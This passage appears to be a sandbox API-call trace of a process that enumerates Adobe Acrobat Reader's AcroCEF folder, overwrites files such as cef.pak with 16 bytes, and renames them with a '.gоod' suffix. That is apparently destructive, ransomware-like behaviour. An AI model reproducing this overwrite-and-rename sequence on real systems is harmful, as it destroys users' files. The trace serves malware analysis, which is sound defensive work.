ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.978] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0079.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0079.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0079.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0079.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF", lpFilePart=0x0) returned 0x3d [0079.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.979] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.979] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef.pak", cAlternateFileName="")) returned 1 [0079.980] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac515e2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_100_percent.pak", cAlternateFileName="CEF_10~1.PAK")) returned 1 [0079.980] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_200_percent.pak", cAlternateFileName="CEF_20~1.PAK")) returned 1 [0079.980] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_extensions.pak", cAlternateFileName="CEF_EX~1.PAK")) returned 1 [0079.980] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f80ae4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x6b3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0079.980] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190c1897, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x6994, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYING.LGPLv2.1.txt", cAlternateFileName="COPYIN~1.TXT")) returned 1 [0079.980] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaefffe5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x392eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~2.DLL")) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f5a940, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x9b49f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt.dll", cAlternateFileName="")) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe293087a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x458f9f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libcef.dll", cAlternateFileName="")) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x15650, dwReserved0=0x0, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda3accdd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2ca650, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0079.981] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190e7af4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x69b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE.txt", cAlternateFileName="")) returned 1 [0079.982] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="locales", cAlternateFileName="")) returned 1 [0079.982] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0079.982] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb54228e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbff7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdrCEF.exe", cAlternateFileName="")) returned 1 [0079.982] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdbc431b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x13279f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdrServicesUpdater.exe", cAlternateFileName="RDRSER~1.EXE")) returned 1 [0079.982] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0079.982] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0079.983] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda576987, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x361f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 0 [0079.983] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0079.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0079.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", lpFilePart=0x0) returned 0x45 [0079.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0079.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef.pak"), fInfoLevelId=0x0, lpFileInformation=0x33a50a8 | out: lpFileInformation=0x33a50a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0079.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", lpFilePart=0x0) returned 0x45 [0079.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0079.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef.pak"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0079.986] GetFileType (hFile=0x76c) returned 0x1 [0079.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0079.986] GetFileType (hFile=0x76c) returned 0x1 [0079.986] GetFileSize (in: hFile=0x76c, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x0 [0079.986] CloseHandle (hObject=0x76c) returned 1 [0080.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", lpFilePart=0x0) returned 0x45 [0080.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0080.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef.pak"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0080.222] GetFileType (hFile=0x798) returned 0x1 [0080.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0080.222] GetFileType (hFile=0x798) returned 0x1 [0080.222] WriteFile (in: hFile=0x798, lpBuffer=0x35e6278*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x35e6278*, lpNumberOfBytesWritten=0x1f35be58*=0x10, lpOverlapped=0x0) returned 1 [0080.223] CloseHandle (hObject=0x798) returned 1 [0080.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", lpFilePart=0x0) returned 0x45 [0080.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak.gоod", lpFilePart=0x0) returned 0x4a [0080.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0080.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef.pak"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2c07041b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0080.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0080.225] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef.pak"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef.pak.gоod")) returned 1 [0080.225] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", lpFilePart=0x0) returned 0x51 [0080.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0080.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_100_percent.pak"), fInfoLevelId=0x0, lpFileInformation=0x35e7508 | out: lpFileInformation=0x35e7508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac515e2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0080.225] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", lpFilePart=0x0) returned 0x51 [0080.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0080.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_100_percent.pak"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0080.226] GetFileType (hFile=0x798) returned 0x1 [0080.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0080.226] GetFileType (hFile=0x798) returned 0x1 [0080.226] GetFileSize (in: hFile=0x798, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x0 [0080.226] CloseHandle (hObject=0x798) returned 1 [0080.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", lpFilePart=0x0) returned 0x51 [0080.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0080.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_100_percent.pak"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.613] GetFileType (hFile=0x768) returned 0x1 [0080.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0080.613] GetFileType (hFile=0x768) returned 0x1 [0080.613] WriteFile (in: hFile=0x768, lpBuffer=0x336a7b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x336a7b0*, lpNumberOfBytesWritten=0x1f35be58*=0x10, lpOverlapped=0x0) returned 1 [0080.614] CloseHandle (hObject=0x768) returned 1 [0080.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", lpFilePart=0x0) returned 0x51 [0080.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak.gоod", lpFilePart=0x0) returned 0x56 [0080.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0080.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_100_percent.pak"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac515e2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2c429f78, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0080.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0080.615] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_100_percent.pak"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_100_percent.pak.gоod")) returned 1 [0080.615] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", lpFilePart=0x0) returned 0x51 [0080.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0080.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak" (normalized: 